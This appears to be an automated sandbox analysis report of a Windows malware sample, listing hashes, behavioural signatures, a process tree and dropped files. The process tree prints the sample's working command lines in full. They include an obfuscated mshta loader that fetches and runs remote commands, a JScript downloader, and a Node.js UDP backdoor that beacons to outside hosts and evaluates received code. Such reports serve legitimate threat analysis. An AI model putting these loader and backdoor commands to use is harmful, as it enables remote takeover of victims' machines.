Analysis
-
max time kernel
153s -
max time network
158s -
platform
windows10_x64 -
resource
win10v20210408 -
submitted
02-09-2021 17:45
Static task
static1
Behavioral task
behavioral1
Sample
usfive_20210902-062006.exe
Resource
win7-en
General
-
Target
usfive_20210902-062006.exe
-
Size
2KB
-
MD5
3bf58fb4fd28cc6d24da20bbf69f337a
-
SHA1
33b1f71be7a12af9d58fc288b5b8681da077629d
-
SHA256
4b40eb7af466f9aada78a955661f611e45e288a89b6ebbbbd899ec0b5a41c3ae
-
SHA512
dce815a730cf343ddcf6680ed8ab2b40d9cd9daa8bef72f8290e144fff86493fa34297946f53b814849afade4275d25c5adb43df12a014a8ffae3b86bfe052cf
Malware Config
Signatures
-
Blocklisted process makes network request 2 IoCs
Processes:
mshta.execscript.exeflow pid process 14 1008 mshta.exe 15 604 cscript.exe -
Executes dropped EXE 1 IoCs
Processes:
node.exepid process 2892 node.exe -
Modifies file permissions 1 TTPs 1 IoCs
-
Drops file in Windows directory 2 IoCs
Processes:
expand.exedescription ioc process File opened for modification C:\Windows\Logs\DPX\setupact.log expand.exe File opened for modification C:\Windows\Logs\DPX\setuperr.log expand.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
node.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz node.exe -
Enumerates processes with tasklist 1 TTPs 1 IoCs
-
Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
Processes:
ipconfig.exenetstat.exepid process 2952 ipconfig.exe 3208 netstat.exe -
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
-
NTFS ADS 2 IoCs
Processes:
node.exedescription ioc process File created C:\Users\Admin\AppData\Local\Temp\6df58d82719a53cd:ads node.exe File created C:\ProgramData\DNTException\node.exe:f0af527c2d53a3a15d1b7f8c60fab737 node.exe -
Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
Processes:
description flow ioc HTTP User-Agent header 14 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 15 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
node.exepid process 2892 node.exe 2892 node.exe 2892 node.exe 2892 node.exe -
Suspicious use of AdjustPrivilegeToken 44 IoCs
Processes:
tasklist.exewmic.exenetstat.exedescription pid process Token: SeDebugPrivilege 804 tasklist.exe Token: SeIncreaseQuotaPrivilege 2104 wmic.exe Token: SeSecurityPrivilege 2104 wmic.exe Token: SeTakeOwnershipPrivilege 2104 wmic.exe Token: SeLoadDriverPrivilege 2104 wmic.exe Token: SeSystemProfilePrivilege 2104 wmic.exe Token: SeSystemtimePrivilege 2104 wmic.exe Token: SeProfSingleProcessPrivilege 2104 wmic.exe Token: SeIncBasePriorityPrivilege 2104 wmic.exe Token: SeCreatePagefilePrivilege 2104 wmic.exe Token: SeBackupPrivilege 2104 wmic.exe Token: SeRestorePrivilege 2104 wmic.exe Token: SeShutdownPrivilege 2104 wmic.exe Token: SeDebugPrivilege 2104 wmic.exe Token: SeSystemEnvironmentPrivilege 2104 wmic.exe Token: SeRemoteShutdownPrivilege 2104 wmic.exe Token: SeUndockPrivilege 2104 wmic.exe Token: SeManageVolumePrivilege 2104 wmic.exe Token: 33 2104 wmic.exe Token: 34 2104 wmic.exe Token: 35 2104 wmic.exe Token: 36 2104 wmic.exe Token: SeIncreaseQuotaPrivilege 2104 wmic.exe Token: SeSecurityPrivilege 2104 wmic.exe Token: SeTakeOwnershipPrivilege 2104 wmic.exe Token: SeLoadDriverPrivilege 2104 wmic.exe Token: SeSystemProfilePrivilege 2104 wmic.exe Token: SeSystemtimePrivilege 2104 wmic.exe Token: SeProfSingleProcessPrivilege 2104 wmic.exe Token: SeIncBasePriorityPrivilege 2104 wmic.exe Token: SeCreatePagefilePrivilege 2104 wmic.exe Token: SeBackupPrivilege 2104 wmic.exe Token: SeRestorePrivilege 2104 wmic.exe Token: SeShutdownPrivilege 2104 wmic.exe Token: SeDebugPrivilege 2104 wmic.exe Token: SeSystemEnvironmentPrivilege 2104 wmic.exe Token: SeRemoteShutdownPrivilege 2104 wmic.exe Token: SeUndockPrivilege 2104 wmic.exe Token: SeManageVolumePrivilege 2104 wmic.exe Token: 33 2104 wmic.exe Token: 34 2104 wmic.exe Token: 35 2104 wmic.exe Token: 36 2104 wmic.exe Token: SeDebugPrivilege 3208 netstat.exe -
Suspicious use of WriteProcessMemory 51 IoCs
Processes:
usfive_20210902-062006.exemshta.execmd.execscript.exenode.exedescription pid process target process PID 1404 wrote to memory of 1008 1404 usfive_20210902-062006.exe mshta.exe PID 1404 wrote to memory of 1008 1404 usfive_20210902-062006.exe mshta.exe PID 1404 wrote to memory of 1008 1404 usfive_20210902-062006.exe mshta.exe PID 1008 wrote to memory of 3812 1008 mshta.exe cmd.exe PID 1008 wrote to memory of 3812 1008 mshta.exe cmd.exe PID 1008 wrote to memory of 3812 1008 mshta.exe cmd.exe PID 3812 wrote to memory of 604 3812 cmd.exe cscript.exe PID 3812 wrote to memory of 604 3812 cmd.exe cscript.exe PID 3812 wrote to memory of 604 3812 cmd.exe cscript.exe PID 3812 wrote to memory of 2840 3812 cmd.exe expand.exe PID 3812 wrote to memory of 2840 3812 cmd.exe expand.exe PID 3812 wrote to memory of 2840 3812 cmd.exe expand.exe PID 3812 wrote to memory of 2112 3812 cmd.exe cscript.exe PID 3812 wrote to memory of 2112 3812 cmd.exe cscript.exe PID 3812 wrote to memory of 2112 3812 cmd.exe cscript.exe PID 2112 wrote to memory of 2892 2112 cscript.exe node.exe PID 2112 wrote to memory of 2892 2112 cscript.exe node.exe PID 2112 wrote to memory of 2892 2112 cscript.exe node.exe PID 2892 wrote to memory of 3016 2892 node.exe cmd.exe PID 2892 wrote to memory of 3016 2892 node.exe cmd.exe PID 2892 wrote to memory of 3016 2892 node.exe cmd.exe PID 2892 wrote to memory of 2900 2892 node.exe cacls.exe PID 2892 wrote to memory of 2900 2892 node.exe cacls.exe PID 2892 wrote to memory of 2900 2892 node.exe cacls.exe PID 2892 wrote to memory of 2992 2892 node.exe icacls.exe PID 2892 wrote to memory of 2992 2892 node.exe icacls.exe PID 2892 wrote to memory of 2992 2892 node.exe icacls.exe PID 2892 wrote to memory of 3564 2892 node.exe attrib.exe PID 2892 wrote to memory of 3564 2892 node.exe attrib.exe PID 2892 wrote to memory of 3564 2892 node.exe attrib.exe PID 2892 wrote to memory of 576 2892 node.exe attrib.exe PID 2892 wrote to memory of 576 2892 node.exe attrib.exe PID 2892 wrote to memory of 576 2892 node.exe attrib.exe PID 2892 wrote to memory of 804 2892 node.exe tasklist.exe PID 2892 wrote to memory of 804 2892 node.exe tasklist.exe PID 2892 wrote to memory of 804 2892 node.exe tasklist.exe PID 2892 wrote to memory of 2104 2892 node.exe wmic.exe PID 2892 wrote to memory of 2104 2892 node.exe wmic.exe PID 2892 wrote to memory of 2104 2892 node.exe wmic.exe PID 2892 wrote to memory of 2952 2892 node.exe ipconfig.exe PID 2892 wrote to memory of 2952 2892 node.exe ipconfig.exe PID 2892 wrote to memory of 2952 2892 node.exe ipconfig.exe PID 2892 wrote to memory of 2292 2892 node.exe route.exe PID 2892 wrote to memory of 2292 2892 node.exe route.exe PID 2892 wrote to memory of 2292 2892 node.exe route.exe PID 2892 wrote to memory of 3208 2892 node.exe netstat.exe PID 2892 wrote to memory of 3208 2892 node.exe netstat.exe PID 2892 wrote to memory of 3208 2892 node.exe netstat.exe PID 2892 wrote to memory of 412 2892 node.exe systeminfo.exe PID 2892 wrote to memory of 412 2892 node.exe systeminfo.exe PID 2892 wrote to memory of 412 2892 node.exe systeminfo.exe -
Views/modifies file attributes 1 TTPs 2 IoCs
Processes:
attrib.exeattrib.exepid process 3564 attrib.exe 576 attrib.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\usfive_20210902-062006.exe"C:\Users\Admin\AppData\Local\Temp\usfive_20210902-062006.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\mshta.exemshta "javascript:document.write();0;y=unescape('%320%33%7E%68t%74p%3A%2F%2Fa%73u%310%2Ef%75n%2Fh%72i%2F%3F%321%616%654%62%7E%330').split('~');240;try{x='WinHttp';235;x=new ActiveXObject(x+'.'+x+'Request.5.1');239;x.open('GET',y[1]+'&a='+escape(window.navigator.userAgent),!1);72;x.send();82;y='ipt.S';78;new ActiveXObject('WScr'+y+'hell').Run(unescape(unescape(x.responseText)),0,!2);196;}catch(e){};2;;window.close();"2⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /d/s/c cd /d "C:\ProgramData" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe || ( echo x=new ActiveXObject("WinHttp.WinHttpRequest.5.1"^);x.Open("GET",unescape(WScript.Arguments(0^)^),false^);x.Send(^);b=new ActiveXObject("ADODB.Stream"^);b.Type=1;b.Open(^);b.Write(x.ResponseBody^);b.SaveToFile(WScript.Arguments(1^),2^); > get1630604939780.txt & cscript /nologo /e:jscript get1630604939780.txt "http%3A%2F%2Fasu10.fun%2Fhri%2F%3F221319238%26b%3Defae17eb" node.cab & expand node.cab node.exe & del get1630604939780.txt node.cab ) & echo new ActiveXObject("WScript.Shell").Run(WScript.Arguments(0),0,false); > get1630604939780.txt & cscript /nologo /e:jscript get1630604939780.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%2721319238%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu10.fun%27);s.send(b,0,b.length,19584,%27lu1.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))" & del get1630604939780.txt3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cscript.execscript /nologo /e:jscript get1630604939780.txt "http%3A%2F%2Fasu10.fun%2Fhri%2F%3F221319238%26b%3Defae17eb" node.cab4⤵
- Blocklisted process makes network request
-
C:\Windows\SysWOW64\expand.exeexpand node.cab node.exe4⤵
- Drops file in Windows directory
-
C:\Windows\SysWOW64\cscript.execscript /nologo /e:jscript get1630604939780.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%2721319238%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu10.fun%27);s.send(b,0,b.length,19584,%27lu1.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))"4⤵
- Suspicious use of WriteProcessMemory
-
C:\ProgramData\DNTException\node.exe"C:\ProgramData\DNTException\node.exe" -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%2721319238%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu10.fun%27);s.send(b,0,b.length,19584,%27lu1.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))5⤵
- Executes dropped EXE
- Checks processor information in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd.exe /c dir C:\6⤵
-
C:\Windows\SysWOW64\cacls.execacls.exe C:\ProgramData\DNTException /t /e /c /g Everyone:F6⤵
-
C:\Windows\SysWOW64\icacls.exeicacls.exe C:\ProgramData\DNTException /t /c /grant *S-1-1-0:(f)6⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\attrib.exeattrib.exe +H C:\ProgramData\DNTException6⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\attrib.exeattrib.exe +H C:\ProgramData\DNTException\node.exe6⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\tasklist.exetasklist /fo csv /nh6⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\Wbem\wmic.exewmic process get processid,parentprocessid,name,executablepath /format:csv6⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\ipconfig.exeipconfig.exe /all6⤵
- Gathers network information
-
C:\Windows\SysWOW64\route.exeroute.exe print6⤵
-
C:\Windows\SysWOW64\netstat.exenetstat.exe -ano6⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\systeminfo.exesysteminfo.exe /fo csv6⤵
- Gathers system information
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\ProgramData\DNTException\get1630604939780.txtMD5
52ec5ebd8a447b5115ce83e703bcde51
SHA138ce97f87c6be668d07985558fc89c53e27770a3
SHA256ef1be6a77e480e683331052654d3db47a02fe4b7af3e35e67b9248e989307615
SHA5129af71d426564ef92ff6de1d89107161c138bbdd9dc08b5e380a0b94e7b2e91ec4d498a1d8f4514552a45bf14a8f9078dc295aa1cb86cfc063427ad218e9d5f32
-
C:\ProgramData\DNTException\get1630604939780.txtMD5
e15f82747d0884d61a5bc4fb2db7d29d
SHA1aca478622586f17603fe56705fd319b75198b2b0
SHA256982675d0465497986b3ece89f08f81a4629d975617671153e0ca653f2589966f
SHA512d8c17e54cbefa72191c238f23d619a4637fd74c8c8b9975071bf5507c5a34259495cd20e516c7f7f0c215ec4f724b22de88b8a5ea43765c019eb067600cf661d
-
C:\ProgramData\DNTException\node.cabMD5
c7ed3d9304a29c8b472174bd910be071
SHA122b7d55b80acd434c13b0a2d8c59b45c10220a42
SHA256abbaffb1b56bd3c5db5aedf4bdc0794d82bedba43677d13cd1056cb5412b3441
SHA512c65c80564019ae54145a939f9ed463895c337f020cbd769647dc6baf8db5db283a5e151c2ae4f10681d23db161d791ce59c395d8ebba603a27a2a6be0368a1a2
-
C:\ProgramData\DNTException\node.exeMD5
11f0b4e17e686cdc46f85a6becede4a8
SHA12826f7ac33b43439ecddd08ad541a7f54a9eb7c0
SHA2566a6ce9cbc42560a1d0ed9c04dcdcb84127f0c2e90d4850fd0e3003b31549795c
SHA51211a321cc6685f854544a5228ae27cf311cf7ccc534be5255b4a6e6976c3d3c6ebe9d0873f8af0ad409d7893ea616754ebbf917e561d84bc22e81e030af4d084f
-
C:\ProgramData\DNTException\node.exeMD5
11f0b4e17e686cdc46f85a6becede4a8
SHA12826f7ac33b43439ecddd08ad541a7f54a9eb7c0
SHA2566a6ce9cbc42560a1d0ed9c04dcdcb84127f0c2e90d4850fd0e3003b31549795c
SHA51211a321cc6685f854544a5228ae27cf311cf7ccc534be5255b4a6e6976c3d3c6ebe9d0873f8af0ad409d7893ea616754ebbf917e561d84bc22e81e030af4d084f
-
memory/412-141-0x0000000000000000-mapping.dmp
-
memory/576-135-0x0000000000000000-mapping.dmp
-
memory/604-116-0x0000000000000000-mapping.dmp
-
memory/804-136-0x0000000000000000-mapping.dmp
-
memory/1008-114-0x0000000000000000-mapping.dmp
-
memory/2104-137-0x0000000000000000-mapping.dmp
-
memory/2112-120-0x0000000000000000-mapping.dmp
-
memory/2292-139-0x0000000000000000-mapping.dmp
-
memory/2840-118-0x0000000000000000-mapping.dmp
-
memory/2892-126-0x0000000034B00000-0x0000000034B01000-memory.dmpFilesize
4KB
-
memory/2892-128-0x0000000036700000-0x0000000036701000-memory.dmpFilesize
4KB
-
memory/2892-130-0x0000000027600000-0x0000000027601000-memory.dmpFilesize
4KB
-
memory/2892-123-0x0000000000000000-mapping.dmp
-
memory/2892-127-0x000000003FA00000-0x000000003FA01000-memory.dmpFilesize
4KB
-
memory/2892-125-0x000000000C100000-0x000000000C101000-memory.dmpFilesize
4KB
-
memory/2892-129-0x000000000D400000-0x000000000D401000-memory.dmpFilesize
4KB
-
memory/2900-132-0x0000000000000000-mapping.dmp
-
memory/2952-138-0x0000000000000000-mapping.dmp
-
memory/2992-133-0x0000000000000000-mapping.dmp
-
memory/3016-131-0x0000000000000000-mapping.dmp
-
memory/3208-140-0x0000000000000000-mapping.dmp
-
memory/3564-134-0x0000000000000000-mapping.dmp
-
memory/3812-115-0x0000000000000000-mapping.dmp